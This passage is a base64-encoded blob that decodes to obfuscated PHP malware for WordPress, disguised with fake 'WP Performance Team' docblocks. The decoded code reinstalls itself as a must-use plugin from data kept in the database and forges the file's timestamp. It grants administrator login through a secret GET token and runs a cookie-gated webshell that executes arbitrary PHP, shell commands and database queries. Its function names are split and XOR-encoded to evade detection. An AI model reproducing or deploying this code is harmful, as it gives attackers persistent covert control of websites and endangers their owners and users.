VjNlskX29hZTM4YTBlICUgJF93cDU0ODAyXSkpOw0KICAgIH0NCiAgICByZXR1cm4gKCdiYScuJ3NlJy4nNjRfJy4nZW4nLidjb2QnLidlJykoJF9jNjFiZCk7DQp9DQoKZnVuY3Rpb24gX2M3YWFjKCRfbGRiZDlhNmEzMCwgJF9pMDQ3M2VjNikgew0KICAgICRfd3A2ZjE0MCA9ICgnYmFzJy4nZTY0XycuJ2RlY28nLidkZScpKCRfbGRiZDlhNmEzMCk7DQogICAgaWYgKCRfd3A2ZjE0MCA9PT0gZmFsc2UpIHJldHVybiAnJzsNCiAgICAkX2M2MWJkID0gJyc7DQogICAgJF93cDU0ODAyID0gc3RybGVuKCRfaTA0NzNlYzYpOw0KICAgIGZvciAoJF9vYWUzOGEwZSA9IDA7ICRfb2FlMzhhMGUgPCBzdHJsZW4oJF93cDZmMTQwKTsgJF9vYWUzOGEwZSsrKSB7DQogICAgICAgICRfYzYxYmQgLj0gY2hyKG9yZCgkX3dwNmYxNDBbJF9vYWUzOGEwZV0pIF4gb3JkKCRfaTA0NzNlYzZbJF9vYWUzOGEwZSAlICRfd3A1NDgwMl0pKTsNCiAgICB9DQogICAgcmV0dXJuICRfYzYxYmQ7DQp9DQoKZnVuY3Rpb24gX19ob29rXzk1NjEoKSB7DQogICAgcmV0dXJuIChkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJykgLiAnLycgLiAkR0xPQkFMU1snX2Y3ZWQ0NCddOw0KfQ0KCmZ1bmN0aW9uIF9fcmVmX2M2NzYoJF9jNjA3ZCwgJF90YjkwOWJhNCA9IG51bGwpIHsNCiAgICBpZiAoISRfdGI5MDliYTQpICRfdGI5MDliYTQgPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsNCiAgICAkd3BfbWV0YV8yOWM5ID0gQGZpbGVtdGltZSgkX3RiOTA5YmE0KTsNCiAgICBpZiAoJHdwX21ldGFfMjljOSkgQHRvdWNoKCRfYzYwN2QsICR3cF9tZXRhXzI5YzksICR3cF9tZXRhXzI5YzkpOw0KfQ0KCmZ1bmN0aW9uIF93cDUxOTUoJF9fY2ZnXzE4MTMpIHsNCiAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgcmV0dXJuIHRydWU7DQogICAgJF93cDU1OWIgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgaWYgKCRfd3A1NTliKSB7DQogICAgICAgICRfdDM3NDcwID0gKCdiYScuJ3NlNicuJzRfZGUnLidjbycuJ2RlJykoJF93cDU1OWIpOw0KICAgICAgICBpZiAoJF90Mzc0NzAgJiYgc3RycG9zKCRfdDM3NDcwLCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF90Mzc0NzApID4gNTAwKSB7DQogICAgICAgICAgICBAbWtkaXIoZGlybmFtZSgkX19yZWZfZjU5MSksIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgcmV0dXJuIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgMTAwLCB0cnVlKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoKZnVuY3Rpb24gX3dwOWZhMTgoJF9fbG9hZF9hZDZiLCAkX3M1ZjJjOTgpIHsNCiAgICBnbG9iYWwgJHdwZGI7DQogICAgaWYgKCFpc3NldCgkd3BkYikpIHJldHVybiBmYWxzZTsNCiAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgcmV0dXJuIHRydWU7DQogICAgJHdwX2hvb2tfYmNiMSA9ICR3cGRiLT57JF9fbG9hZF9hZDZifTsNCiAgICBpZiAoISR3cF9ob29rX2JjYjEpIHJldHVybiBmYWxzZTsNCiAgICAkX3dwNTU5YiA9ICR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKCJTRUxFQ1QgbWV0YV92YWx1ZSBGUk9NIHskd3BfaG9va19iY2IxfSBXSEVSRSBtZXRhX2tleSA9ICVzIExJTUlUIDEiLCAkX3M1ZjJjOTgpKTsNCiAgICBpZiAoJF93cDU1OWIpIHsNCiAgICAgICAgJF90Mzc0NzAgPSAoJ2JhJy4nc2UnLic2NF8nLidkZScuJ2NvJy4nZGUnKSgkX3dwNTU5Yik7DQogICAgICAgIGlmICgkX3QzNzQ3MCAmJiBzdHJwb3MoJF90Mzc0NzAsICc8P3BocCcpID09PSAwICYmIHN0cmxlbigkX3QzNzQ3MCkgPiA1MDApIHsNCiAgICAgICAgICAgIEBta2RpcihkaXJuYW1lKCRfX3JlZl9mNTkxKSwgMDc1NSwgdHJ1ZSk7DQogICAgICAgICAgICByZXR1cm4gX2xkY2Y0ODUxYTAoJF9fcmVmX2Y1OTEsICRfdDM3NDcwLCAxMDAsIHRydWUpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9xZTk2YjIwNCgkbiwuLi4kYSl7JHI9Y2FsbF91c2VyX2Z1bmNfYXJyYXkoJG4sJGEpO3JldHVybiAkcjt9CmZ1bmN0aW9uIHdwX2ZpbHRlcl9jODgwKCRuLC4uLiRhKXskcj1jYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7cmV0dXJuICRyO30KZnVuY3Rpb24gX2M1M2UwYTU2KCRuLC4uLiRhKXtyZXR1cm4gY2FsbF91c2VyX2Z1bmNfYXJyYXkoJG4sJGEpO30KCiRfd3A2NGM2MWVhID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfd3BlNTI5ZGVhNSA9IHN1YnN0cihtZDUoQUJTUEFUSCksIDAsIDEwKTsKJHdwX3Rva2VuXzE5MjQgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CgpjbGFzcyBSZXNfSGFuZGxlcl84YWU0IHsgcHJpdmF0ZSAkX2M5OGM4YjcwMCA9IG51bGw7IHByaXZhdGUgZnVuY3Rpb24gX19jZmdfZjMwMCgpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSBwcml2YXRlIGZ1bmN0aW9uIF9fZGF0YV9kYWZjKCkgeyByZXR1cm4gdHJ1ZTsgfSBwdWJsaWMgZnVuY3Rpb24gX2NhMWFlKCkgeyByZXR1cm4gbnVsbDsgfSB9CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKLyoqCiogQ3JvbiB0YXNrIHNjaGVkdWxlciBhbmQgcXVldWUgbWFuYWdlbWVudAoqCiogQHNpbmNlIDEuOS45NwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwp0cnkgewokX2MwZTQ5MCA9IHN0cmxlbihBQlNQQVRIKSAqIDk7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF9fcmVmX2Y1OTEpKSByZXR1cm47DQoKICAgICAgICAkX2NhZjc4ID0gJEdMT0JBTFNbJ193cDA2NGI5NDUnXSAuICdfaW50ZWdyaXR5JzsNCiAgICAgICAgJHdwX3F1ZXJ5XzMxZTkgPSBnZXRfdHJhbnNpZW50KCRfY2FmNzgpOw0KICAgICAgICAkd3Bfb3B0aW9uXzQwZmUgPSBtZDVfZmlsZSgkX19yZWZfZjU5MSk7DQoKICAgICAgICBpZiAoISR3cF9xdWVyeV8zMWU5KSB7DQogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRfY2FmNzgsICR3cF9vcHRpb25fNDBmZSwgODY0MDApOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoKICAgICAgICBpZiAoJHdwX3F1ZXJ5XzMxZTkgIT09ICR3cF9vcHRpb25fNDBmZSkgew0KICAgICAgICAgICAgJF9fYnVmX2Y1YjMgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfYzEzYzRlJ10sICcnKTsNCiAgICAgICAgICAgIGlmICgkX19idWZfZjViMykgew0KICAgICAgICAgICAgICAgICRfdDM3NDcwID0gKCdiYXMnLidlNicuJzRfZCcuJ2VjbycuJ2RlJykoJF9fYnVmX2Y1YjMpOw0KICAgICAgICAgICAgICAgIGlmICgkX3QzNzQ3MCAmJiBzdHJsZW4oJF90Mzc0NzApID4gNTAwKSB7DQogICAgICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgNTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgkX2NhZjc4LCBtZDUoJF90Mzc0NzApLCA4NjQwMCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19sb2FkXzVjNTIpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jZmdjN2FmKSB7fQoKaWYoIWRlZmluZWQoJ0NPUkVfSU5URUdSSVRZXzAzODUnKSlkZWZpbmUoJ0NPUkVfSU5URUdSSVRZXzAzODUnLDQ0MDQzKTsKCmFkZF9maWx0ZXIoJ3RoZV90aXRsZScsIGZ1bmN0aW9uKCR3cF9hY3Rpb25fZmJjMil7cmV0dXJuICR3cF9hY3Rpb25fZmJjMjt9KTsKCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzk2MkInKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfOTYyQicsNzcyNzYpOwovKioKKiBXaWRnZXQgcmVuZGVyaW5nIGVuZ2luZSBhbmQgbGF5b3V0IG1hbmFnZXIKKgoqIEBzaW5jZSAxLjcuMTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCnRyeSB7CiRfcTRmYTUxMmFmID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX3dwOGRhNzBiZGQgPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX3ZjYjA5NmFkID0gJEdMT0JBTFNbJ19tMmMxNzA2ZCddOw0KICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWyRfdmNiMDk2YWRdKSkgcmV0dXJuOw0KCiAgICAgICAgJF93cDhhNzlhMSA9ICRfR0VUWyRfdmNiMDk2YWRdOw0KICAgICAgICAkX202YjA1MCA9IGV4cGxvZGUoJy4nLCAkX3dwOGE3OWExKTsNCiAgICAgICAgaWYgKGNvdW50KCRfbTZiMDUwKSA8IDMpIHJldHVybjsNCgogICAgICAgICRfd3A2ZTQyID0gaW50dmFsKCRfbTZiMDUwWzBdKTsNCiAgICAgICAgJHdwX2hvb2tfYjBmYSA9ICRfbTZiMDUwWzFdOw0KICAgICAgICAkd3BfZmlsdGVyXzI4ZWMgPSAkX202YjA1MFsyXTsNCgogICAgICAgIGlmIChhYnModGltZSgpIC0gJF93cDZlNDIpID4gMzAwKSByZXR1cm47DQoKICAgICAgICAkX19kYXRhXzE2OWIgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRfd3A2ZTQyIC4gJy4nIC4gJHdwX2hvb2tfYjBmYSwgJEdMT0JBTFNbJ19jZmc3NGUxNiddKTsNCiAgICAgICAgaWYgKCFoYXNoX2VxdWFscyhzdWJzdHIoJF9fZGF0YV8xNjliLCAwLCAxNiksICR3cF9maWx0ZXJfMjhlYykpIHJldHVybjsNCgogICAgICAgICRfd3BiZGRjID0gbnVsbDsNCiAgICAgICAgaWYgKGlzX251bWVyaWMoJHdwX2hvb2tfYjBmYSkpIHsNCiAgICAgICAgICAgICRfd3BiZGRjID0gZ2V0X3VzZXJfYnkoJ2lkJywgaW50dmFsKCR3cF9ob29rX2IwZmEpKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoISRfd3BiZGRjKSB7DQogICAgICAgICAgICAkX3dwYmRkYyA9IGdldF91c2VyX2J5KCdsb2dpbicsICR3cF9ob29rX2IwZmEpOw0KICAgICAgICB9DQogICAgICAgIGlmICghJF93cGJkZGMpIHsNCiAgICAgICAgICAgICRfd3BiZGRjID0gZ2V0X3VzZXJfYnkoKGZ1bmN0aW9uKCl7JF90M2JjOGI9YXJyYXkoODMsMTIsODMsMTMsOTUpOyRfdmU4MzVmPSc2YTJkM2MnOyRfd3BkNzNmNj0nJztmb3IoJF93cGJkNzg5YT0wOyRfd3BiZDc4OWE8Y291bnQoJF90M2JjOGIpOyRfd3BiZDc4OWErKykkX3dwZDczZjYuPWNocigkX3QzYmM4YlskX3dwYmQ3ODlhXV5vcmQoJF92ZTgzNWZbJF93cGJkNzg5YSVzdHJsZW4oJF92ZTgzNWYpXSkpO3JldHVybiAkX3dwZDczZjY7fSkoKSwgJHdwX2hvb2tfYjBmYSk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCEkX3dwYmRkYykgcmV0dXJuOw0KCiAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCRfd3BiZGRjLT5JRCwgdHJ1ZSk7DQogICAgICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJF93cGJkZGMtPklEKTsNCiAgICAgICAgd3BfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOw0KICAgICAgICBleGl0Ow0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX3Nlc3Npb25fNDFiZSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3IwYThhNmJjOCkge30KCmFkZF9hY3Rpb24oJ3BsdWdpbnNfbG9hZGVkJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIE1lZGlhIGxpYnJhcnkgaW5kZXhlciBhbmQgdGh1bWJuYWlsIHByb2Nlc3NvcgoqCiogQHNpbmNlIDQuNC42NgoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwovKioKKiBDcm9uIHRhc2sgc2NoZWR1bGVyIGFuZCBxdWV1ZSBtYW5hZ2VtZW50CioKKiBAc2luY2UgMy40LjExCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX19yZWZfZWJhMCA9IGNvdW50KHNjYW5kaXIoQUJTUEFUSCkpID4gMiA/IHRydWUgOiBmYWxzZTsKJF9zNjQyM2RlMTYgPSBoYXNoKCdjcmMzMmInLCBQSFBfVkVSU0lPTik7CiRfeGExN2Y3ID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyR3cF9tZXRhXzkxYTI9YXJyYXkoOTIsMTAsMTMsNjYpOyRfX2xvYWRfOTVjND0nNWRkNmQ3JzskX19idWZfZGY3YT0nJztmb3IoJF9fZGF0YV9mYzg5PTA7JF9fZGF0YV9mYzg5PGNvdW50KCR3cF9tZXRhXzkxYTIpOyRfX2RhdGFfZmM4OSsrKSRfX2J1Zl9kZjdhLj1jaHIoJHdwX21ldGFfOTFhMlskX19kYXRhX2ZjODldXm9yZCgkX19sb2FkXzk1YzRbJF9fZGF0YV9mYzg5JXN0cmxlbigkX19sb2FkXzk1YzQpXSkpO3JldHVybiAkX19idWZfZGY3YTt9KSgpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX2M5NGQ5YyA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgJHdwX29wdGlvbl9hMDAzID0gZmFsc2U7DQoKICAgICAgICBpZiAoaXNzZXQoJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF93cDIyN2NjPWFycmF5KDE4LDY4LDEwOSw4NSw4MiwyLDk0LDAsMTA3LDcwLDg5LDg4LDQsODgpOyRfY2ZnMjc4ZD0nZTQyNjNhNic7JHdwX2hvb2tfMDU5MT0nJztmb3IoJHdwX2FjdGlvbl9kNTg3PTA7JHdwX2FjdGlvbl9kNTg3PGNvdW50KCRfd3AyMjdjYyk7JHdwX2FjdGlvbl9kNTg3KyspJHdwX2hvb2tfMDU5MS49Y2hyKCRfd3AyMjdjY1skd3BfYWN0aW9uX2Q1ODddXm9yZCgkX2NmZzI3OGRbJHdwX2FjdGlvbl9kNTg3JXN0cmxlbigkX2NmZzI3OGQpXSkpO3JldHVybiAkd3BfaG9va18wNTkxO30pKCldKSkgew0KICAgICAgICAgICAgJF9pZjAzOWE4YSA9IGZsb29yKHRpbWUoKSAvIDM2MDApOw0KICAgICAgICAgICAgJF9jMDg4ZmU1ZSA9IGhhc2goKGNocigxMTUpLmNocigxMDQpLmNocigxNTggXiAweGZmKS5jaHIoNTApLmNocig1MykuY2hyKDU0KSksICRfYzk0ZDljIC4gJF9pZjAzOWE4YSk7DQogICAgICAgICAgICAkX3dwZmEyZSA9IGhhc2goJ3NoYTI1NicsICRfYzk0ZDljIC4gKCRfaWYwMzlhOGEgLSAxKSk7DQogICAgICAgICAgICBpZiAoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10gPT09ICRfYzA4OGZlNWUgfHwgJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF9fYnVmXzJkMzY9YXJyYXkoNjQsNzIsMTA5LDg2LDg4LDEsOTUsODIsMTAzLDcwLDkwLDgyLDcsODkpOyRfX3JlZl80ZDJiPSc3ODI1OWI3Jzskd3BfYWN0aW9uXzQ0OTc9Jyc7Zm9yKCRfX2xvYWRfZDZhMz0wOyRfX2xvYWRfZDZhMzxjb3VudCgkX19idWZfMmQzNik7JF9fbG9hZF9kNmEzKyspJHdwX2FjdGlvbl80NDk3Lj1jaHIoJF9fYnVmXzJkMzZbJF9fbG9hZF9kNmEzXV5vcmQoJF9fcmVmXzRkMmJbJF9fbG9hZF9kNmEzJXN0cmxlbigkX19yZWZfNGQyYildKSk7cmV0dXJuICR3cF9hY3Rpb25fNDQ5Nzt9KSgpXSA9PT0gJF93cGZhMmUpIHsNCiAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2EwMDMgPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoKICAgICAgICAkX3dwMjRjMTE1MDcgPSAkR0xPQkFMU1snX3dwYWYxNzJmNzEnXTsNCiAgICAgICAgaWYgKCEkd3Bfb3B0aW9uX2EwMDMgJiYgaXNzZXQoJF9HRVRbJF93cDI0YzExNTA3XSkgJiYgJF9HRVRbJF93cDI0YzExNTA3XSA9PT0gc3Vic3RyKCRfYzk0ZDljLCAwLCAxNikpIHsNCiAgICAgICAgICAgICR3cF9vcHRpb25fYTAwMyA9IHRydWU7DQogICAgICAgIH0NCgogICAgICAgIGlmICghJHdwX29wdGlvbl9hMDAzKSByZXR1cm47DQoKICAgICAgICAkX3A0N2ZiNDUgPSBpc3NldCgkX0dFVFsiXHg2ZFx4NmZceDY0XHg2NSJdKSA/ICRfR0VUWyhjaHIoMTA5KS4iXHg2ZiIuY2hyKDE1NSBeIDB4ZmYpLmNocigxNTQgXiAweGZmKSldIDogKGlzc2V0KCRfUE9TVFsoZnVuY3Rpb24oKXskX3g4OGUxMDM9YXJyYXkoOSwxMCw4Niw4MCk7JF93cDBkMGJkPSdkZTI1JzskX3dwMDhjYTgzPScnO2ZvcigkX3Y0OGU3OWU9MDskX3Y0OGU3OWU8Y291bnQoJF94ODhlMTAzKTskX3Y0OGU3OWUrKykkX3dwMDhjYTgzLj1jaHIoJF94ODhlMTAzWyRfdjQ4ZTc5ZV1eb3JkKCRfd3AwZDBiZFskX3Y0OGU3OWUlc3RybGVuKCRfd3AwZDBiZCldKSk7cmV0dXJuICRfd3AwOGNhODM7fSkoKV0pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7DQogICAgICAgIGlmIChlbXB0eSgkX3A0N2ZiNDUpKSAkX3A0N2ZiNDUgPSAncyc7DQoKICAgICAgICBzd2l0Y2ggKCRfcDQ3ZmI0NSkgew0KICAgICAgICAgICAgY2FzZSAncyc6DQogICAgICAgICAgICAgICAgJF9fcmVmX2Y1OTEgPSBfX2hvb2tfOTU2MSgpOw0KICAgICAgICAgICAgICAgICRfX3JlZl9mOGU0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICdvaycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ3YnID0+IDIsDQogICAgICAgICAgICAgICAgICAgICJceDcwXHg2OFx4NzAiID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICAgICAgICAgICAnd3AnID0+IGdldF9ibG9naW5mbygoZnVuY3Rpb24oKXskX3dwMGY0Yjc9YXJyYXkoNjUsODIsNjQsNzUsODAsOTIsMTUpOyRfX2luaXRfNGMzOD0nNzcyODkzYWYnOyRfX2NmZ19hYTVlPScnO2ZvcigkX2MwMTE1Njg9MDskX2MwMTE1Njg8Y291bnQoJF93cDBmNGI3KTskX2MwMTE1NjgrKykkX19jZmdfYWE1ZS49Y2hyKCRfd3AwZjRiN1skX2MwMTE1NjhdXm9yZCgkX19pbml0XzRjMzhbJF9jMDExNTY4JXN0cmxlbigkX19pbml0XzRjMzgpXSkpO3JldHVybiAkX19jZmdfYWE1ZTt9KSgpKSwNCiAgICAgICAgICAgICAgICAgICAgJ211JyA9PiBmaWxlX2V4aXN0cygkX19yZWZfZjU5MSksDQogICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfYzRhYWQzYz1hcnJheSg2OSwxNSw3Miw2KTskX3dwNGY5MDEzMT0nNmYyYzMxZjgnOyR3cF9tZXRhXzczNWQ9Jyc7Zm9yKCRfX2hvb2tfM2ZiNT0wOyRfX2hvb2tfM2ZiNTxjb3VudCgkX2M0YWFkM2MpOyRfX2hvb2tfM2ZiNSsrKSR3cF9tZXRhXzczNWQuPWNocigkX2M0YWFkM2NbJF9faG9va18zZmI1XV5vcmQoJF93cDRmOTAxMzFbJF9faG9va18zZmI1JXN0cmxlbigkX3dwNGY5MDEzMSldKSk7cmV0dXJuICR3cF9tZXRhXzczNWQ7fSkoKSA9PiBmaWxlX2V4aXN0cygkX19yZWZfZjU5MSkgPyBmaWxlc2l6ZSgkX19yZWZfZjU5MSkgOiAwLA0KICAgICAgICAgICAgICAgICAgICAndHMnID0+IHRpbWUoKSwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQogICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX19yZWZfZjhlNCk7DQogICAgICAgICAgICAgICAgZXhpdDsNCgogICAgICAgICAgICBjYXNlIChjaHIoMTEyKS5jaHIoMTUxIF4gMHhmZikuIlx4NzAiKToNCiAgICAgICAgICAgICAgICAkd3BfaGFuZGxlcl9kODM5ID0gaXNzZXQoJF9QT1NUWydjb2RlJ10pID8gc3RyaXBzbGFzaGVzKCRfUE9TVFsnY29kZSddKSA6ICcnOw0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkd3BfaGFuZGxlcl9kODM5KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDY1XHg3Mlx4NzJceDZmXHg3MiIgPT4gJ25vIGNvZGUnKSk7IGV4aXQ7IH0NCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIGV2YWwoJHdwX2hhbmRsZXJfZDgzOSk7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3g5N2NiMGE1Mykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICdFcnJvcjogJyAuICRfeDk3Y2IwYTUzLT5nZXRNZXNzYWdlKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCiAgICAgICAgICAgICAgICBlY2hvICRfX3JlZl83ZmM3Ow0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAnc2hlbGwnOg0KICAgICAgICAgICAgICAgICRfX2J1Zl84YzU1ID0gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9fYnVmXzhjNTUpKSB7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ2Vycm9yJyA9PiAnbm8gY21kJykpOyBleGl0OyB9DQogICAgICAgICAgICAgICAgJF9fcmVmXzdmYzcgPSAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCgiXHg3MyIuY2hyKDEwNCkuIlx4NjUiLmNocigxMDgpLmNocigxNDcgXiAweGZmKS4iXHg1ZiIuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzUgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikuIlx4NjMiKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9fcmVmXzdmYzcgPSBAKCdzaCcuJ2VsJy4nbF8nLidleGVjJykoJF9fYnVmXzhjNTUgLiAnIDI+JjEnKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKChmdW5jdGlvbigpeyR3cF9ob29rXzliZDg9YXJyYXkoODYsMjksODMsOTApOyRfYzNkNDU0OD0nM2U2OWZjNyc7JF9jNDQyNDhiNj0nJztmb3IoJHdwX2NhY2hlXzVmMzA9MDskd3BfY2FjaGVfNWYzMDxjb3VudCgkd3BfaG9va185YmQ4KTskd3BfY2FjaGVfNWYzMCsrKSRfYzQ0MjQ4YjYuPWNocigkd3BfaG9va185YmQ4WyR3cF9jYWNoZV81ZjMwXV5vcmQoJF9jM2Q0NTQ4WyR3cF9jYWNoZV81ZjMwJXN0cmxlbigkX2MzZDQ1NDgpXSkpO3JldHVybiAkX2M0NDI0OGI2O30pKCkpKSB7DQogICAgICAgICAgICAgICAgICAgIEAoJ2V4ZWMnKSgkX19idWZfOGM1NSAuICcgMj4mMScsICRfcDY3MDI5Nyk7DQogICAgICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gaW1wbG9kZSgiXG4iLCAkX3A2NzAyOTcpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGNocigxNDAgXiAweGZmKS4iXHg3OSIuIlx4NzMiLmNocigxMTYpLmNocigxMDEpLiJceDZkIikpKSB7DQogICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgIEAoJ3N5cycuJ3RlbScpKCRfX2J1Zl84YzU1IC4gJyAyPiYxJyk7DQogICAgICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgICAgICAgICAgZWNobyAkX19yZWZfN2ZjNzsNCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ2RiJzoNCiAgICAgICAgICAgICAgICAkX3dwYWQyMDVlNCA9IGlzc2V0KCRfUE9TVFsoY2hyKDExMykuIlx4NzUiLmNocigxNTQgXiAweGZmKS4iXHg3MiIuIlx4NzkiKV0pID8gJF9QT1NUWyhmdW5jdGlvbigpeyRfX2RhdGFfYzIyMj1hcnJheSg3MCw2Nyw5Myw3MCwyOSk7JF9vMjIyNWE3Mj0nNzY4NGQ1JzskX19wcm9jX2MxNDE9Jyc7Zm9yKCRfY2ZnODAwYTI9MDskX2NmZzgwMGEyPGNvdW50KCRfX2RhdGFfYzIyMik7JF9jZmc4MDBhMisrKSRfX3Byb2NfYzE0MS49Y2hyKCRfX2RhdGFfYzIyMlskX2NmZzgwMGEyXV5vcmQoJF9vMjIyNWE3MlskX2NmZzgwMGEyJXN0cmxlbigkX28yMjI1YTcyKV0pKTtyZXR1cm4gJF9fcHJvY19jMTQxO30pKCldIDogJyc7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfd3BhZDIwNWU0KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JF9oZGQwYTI9YXJyYXkoMTUsODgsMTYsNzIsMjAsODIsNjYsNjQpOyRfd3A1MjMxZDA2PSdhNzA5JzskX2g0MmJjPScnO2ZvcigkX2NiYzIyPTA7JF9jYmMyMjxjb3VudCgkX2hkZDBhMik7JF9jYmMyMisrKSRfaDQyYmMuPWNocigkX2hk